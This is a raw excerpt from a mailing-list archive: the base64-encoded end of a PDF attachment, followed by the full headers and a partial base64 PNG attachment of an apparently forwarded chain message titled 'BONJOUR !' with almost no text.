ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pg0KZW5kc3RyZWFtDWVu ZG9iag0xNCAwIG9iag08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvRmlyc3QgNS9MZW5ndGggNTQvTiAx L1R5cGUvT2JqU3RtPj5zdHJlYW0NCmjesjRRMFCwsdF3zi/NK1Ew0vfOTCmOtrQACgYpGILIWP2Q yoJU/YDE9NRiOzuAAAMAJwkNBA0KZW5kc3RyZWFtDWVuZG9iag0xNSAwIG9iag08PC9GaWx0ZXIv RmxhdGVEZWNvZGUvRmlyc3QgNS9MZW5ndGggMTA2L04gMS9UeXBlL09ialN0bT4+c3RyZWFtDQpo 3mTLwQpAQBQF0F+xQ8pcTxJJia3yCzIjFuZpDOXvWciC/TlZ4sApClHtdmLjbaxPX9RG9XZm3fRW eU1OiGKkRCCkQAByAfdR96lZH7TKMRx48UXL8tciIHtbZ1jug/q8srwEGADB1ie7DQplbmRzdHJl YW0NZW5kb2JqDTE2IDAgb2JqDTw8L0RlY29kZVBhcm1zPDwvQ29sdW1ucyA1L1ByZWRpY3RvciAx Mj4+L0ZpbHRlci9GbGF0ZURlY29kZS9JRFs8OEQxQjkyQkFDODIzRTg0NEJGNDY5N0RENTYxQzk3 MTI+PDEzNjU3NTMyMDZFRUNGNDU5ODhDNjQzMjU3NTA3QzUyPl0vSW5mbyA5NSAwIFIvTGVuZ3Ro IDk2L1Jvb3QgOTcgMCBSL1NpemUgOTYvVHlwZS9YUmVmL1dbMSAzIDFdPj5zdHJlYW0NCmjeYmIA ASZG9uvbGJiAjK1AknFSIIjNcgIs4gMSaV8CYjM+B5OXQSJqJ0HsSB6wGmeELLsyiOQVB5EMk8Hi QHMYv+V7gEUYGEkjGX+ASbL0jpK0I5n2QeIFIMAAUU0P0g0KZW5kc3RyZWFtDWVuZG9iag1zdGFy dHhyZWYNCjExNg0KJSVFT0YNCg== ------=_Part_18715_1809424747.1374807070496-- From sarl.dalibard@orange.fr Thu Jul 25 23:33:12 2013 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 406EB7F37 for ; Thu, 25 Jul 2013 23:33:11 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B59FCAC003 for ; Thu, 25 Jul 2013 21:33:09 -0700 (PDT) X-ASG-Debug-ID: 1374813177-04cbb02c3b9dd40001-NocioJ Received: from smtp.smtpout.orange.fr (smtp12.smtpout.orange.fr [80.12.242.134]) by cuda.sgi.com with ESMTP id 3JoPXiqfh7wEjeN1 for ; Thu, 25 Jul 2013 21:32:57 -0700 (PDT) X-Barracuda-Envelope-From: sarl.dalibard@orange.fr X-Barracuda-Apparent-Source-IP: 80.12.242.134 Received: from wwinf1z09 ([10.223.68.52]) by mwinf5d47 with ME id 4sYv1m00617frKe03sYvZS; Fri, 26 Jul 2013 06:32:56 +0200 Date: Fri, 26 Jul 2013 06:32:55 +0200 (CEST) From: sarl dalibard Reply-To: sarl dalibard Message-ID: <307279225.32542.1374813175706.JavaMail.www@wwinf1z09> Subject: TR: TR: TR: TR: BONJOUR ! MIME-Version: 1.0 X-ASG-Orig-Subj: TR: TR: TR: TR: BONJOUR ! Content-Type: multipart/mixed; boundary="----=_Part_32507_123530159.1374813174471" X-Country-Code: X-me-spamlevel: not-spam X-Cache-ID: Message-Context: email-message X-WUM-SignatureAdded: X-me-spamrating: 43.00 X-Cache-Entry: X-Wum-Nature: EMAIL-NATURE X-Originating-IP: 105.133.23.205 X-Message-Size: X-SAVECOPY: true X-National-Code: X-Wum-ChannelType: X-WUM-FROM: |~| X-WUM-CCI: |~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~| X-WUM-REPLYTO: |~| X-Barracuda-Connect: smtp12.smtpout.orange.fr[80.12.242.134] X-Barracuda-Start-Time: 1374813177 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 To: undisclosed-recipients:; ------=_Part_32507_123530159.1374813174471 Content-Type: multipart/related; boundary="----=_Part_32508_1898018290.1374813174472" ------=_Part_32508_1898018290.1374813174472 Content-Type: multipart/alternative; boundary="----=_Part_32509_1271307492.1374813174472" ------=_Part_32509_1271307492.1374813174472 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit .../.. ------=_Part_32509_1271307492.1374813174472 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 7bit

    .../.. ------=_Part_32509_1271307492.1374813174472-- ------=_Part_32508_1898018290.1374813174472 Content-Type: image/png; name="image001.png" Content-Transfer-Encoding: base64 Content-ID: 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 